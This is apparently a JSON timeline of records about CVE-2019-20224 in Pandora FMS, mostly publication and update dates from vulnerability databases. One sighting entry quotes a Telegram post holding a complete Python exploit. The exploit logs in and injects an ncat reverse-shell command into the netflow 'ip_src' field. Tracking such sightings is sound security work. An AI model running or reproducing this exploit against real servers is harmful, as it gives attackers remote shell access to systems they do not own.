{"metadata": {"vulnerability": "cve-2019-20224", "count": 16, "kinds": {"milestone": 4, "sighting": 1, "kev": 0, "other": 11}}, "data": [{"timestamp": "2020-01-02T00:00:00Z", "date_only": false, "value": "2020-01-02T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2019-20224", "field": "cveMetadata.dateReserved"}, {"timestamp": "2020-01-09T15:37:58Z", "date_only": false, "value": "2020-01-09T15:37:58.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2019-20224", "field": "cveMetadata.datePublished"}, {"timestamp": "2020-01-09T16:15:00Z", "date_only": false, "value": "2020-01-09T16:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-GV9R-C8F3-VQH2", "record": "GHSA-GV9R-C8F3-VQH2", "field": "database_specific.nvd_published_at"}, {"timestamp": "2020-01-09T16:15:00Z", "date_only": false, "value": "2020-01-09T16:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2019-20224", "record": "GSD-2019-20224", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2020-01-09T16:15:10.660Z", "date_only": false, "value": "2020-01-09T16:15:10.660", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2019-20224", "record": "FKIE_CVE-2019-20224", "field": "published"}, {"timestamp": "2020-01-13T00:00:00Z", "date_only": true, "value": "2020-01-13", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2020-13877", "record": "CNVD-2020-13877", "field": "submitTime"}, {"timestamp": "2020-01-18T13:24:25Z", "date_only": false, "value": "2020-01-18T13:24:25.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/indoghostsec/1667", "record": "CVE-2019-20224", "field": "creation_timestamp", "uuid": "9deff425-22e5-4ba0-ab12-bdb93ef1d349", "content": "*INDO GHOST SECURITY*\n\n*CVE-2019-20224*\nsource: https://cxsecurity.com/issue/WLB-2020010094\n\n\n# Date: 2019-11-14\n# Exploit Author: Askar (@mohammadaskar2)\n# CVE: CVE-2019-20224\n# Vendor Homepage: https://pandorafms.org/\n# Software link: https://pandorafms.org/features/free-download-monitoring-software/\n# Version: v7.0NG\n# Tested on: CentOS 7.3 / PHP 5.4.16\n\n\n\n\n#!/usr/bin/python3\n\nimport requests\nimport sys\n\nif len(sys.argv) !=3D 6:\n    print(\"[+] Usage : ./exploit.py target username password ip port\")\n    exit()\n\ntarget =3D sys.argv[1]\nusername =3D sys.argv[2]\npassword =3D sys.argv[3]\nip =3D sys.argv[4]\nport =3D int(sys.argv[5])\n\nrequest =3D requests.session()\n\nlogin_info =3D {\n    \"nick\": username,\n    \"pass\": password,\n    \"login_button\": \"Login\"\n}\n\nlogin_request =3D request.post(\n    target+\"/pandora_console/index.php?login=3D1\",\n    login_info,\n    verify=3DFalse,\n    allow_redirects=3DTrue\n )\n\nresp =3D login_request.text\n\nif \"User not found in database\" in resp:\n    print(\"[-] Login Failed\")\n    exit()\nelse:\n    print(\"[+] Logged In Successfully\")\n\nprint(\"[+] Sending crafted graph request ..\")\n\nbody_request =3D {\n    \"date\": \"0\",\n    \"time\": \"0\",\n    \"period\": \"0\",\n    \"interval_length\": \"0\",\n    \"chart_type\": \"netflow_area\",\n    \"max_aggregates\": \"1\",\n    \"address_resolution\": \"0\",\n    \"name\": \"0\",\n    \"assign_group\": \"0\",\n    \"filter_type\": \"0\",\n    \"filter_id\": \"0\",\n    \"filter_selected\": \"0\",\n    \"ip_dst\": \"0\",\n    \"ip_src\": '\";ncat -e /bin/bash {0} {1} #'.format(ip, port),\n    \"draw_button\": \"Draw\"\n}\n\ndraw_url =3D target + \"/pandora_console/index.php?sec=3Dnetf&sec2=3Doperati=\non/netflow/nf_live_view&pure=3D0\"\nprint(\"[+] Check your netcat ;)\")\nrequest.post(draw_url, body_request)\n\n\nPstar8999", "url": "https://t.me/indoghostsec/1667"}, {"timestamp": "2020-01-24T20:08:30Z", "date_only": false, "value": "2020-01-24T20:08:30.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2019-20224", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2020-01-24T21:15:00Z", "date_only": false, "value": "2020-01-24T21:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2019-20224", "record": "GSD-2019-20224", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2020-02-27T00:00:00Z", "date_only": true, "value": "2020-02-27", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2020-13877", "record": "CNVD-2020-13877", "field": "openTime"}, {"timestamp": "2022-05-24T17:05:57Z", "date_only": false, "value": "2022-05-24T17:05:57Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-GV9R-C8F3-VQH2", "record": "GHSA-GV9R-C8F3-VQH2", "field": "published"}, {"timestamp": "2022-05-24T17:05:57Z", "date_only": false, "value": "2022-05-24T17:05:57Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-GV9R-C8F3-VQH2", "record": "GHSA-GV9R-C8F3-VQH2", "field": "modified"}, {"timestamp": "2023-12-13T01:23:43.366Z", "date_only": false, "value": "2023-12-13T01:23:43.366704Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2019-20224", "record": "GSD-2019-20224", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-05T02:39:09.204Z", "date_only": false, "value": "2024-08-05T02:39:09.204Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2019-20224", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-05T02:39:09.204Z", "date_only": false, "value": "2024-08-05T02:39:09.204Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2019-20224", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T02:30:13.997Z", "date_only": false, "value": "2026-06-17T02:30:13.997", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2019-20224", "record": "FKIE_CVE-2019-20224", "field": "lastModified"}]}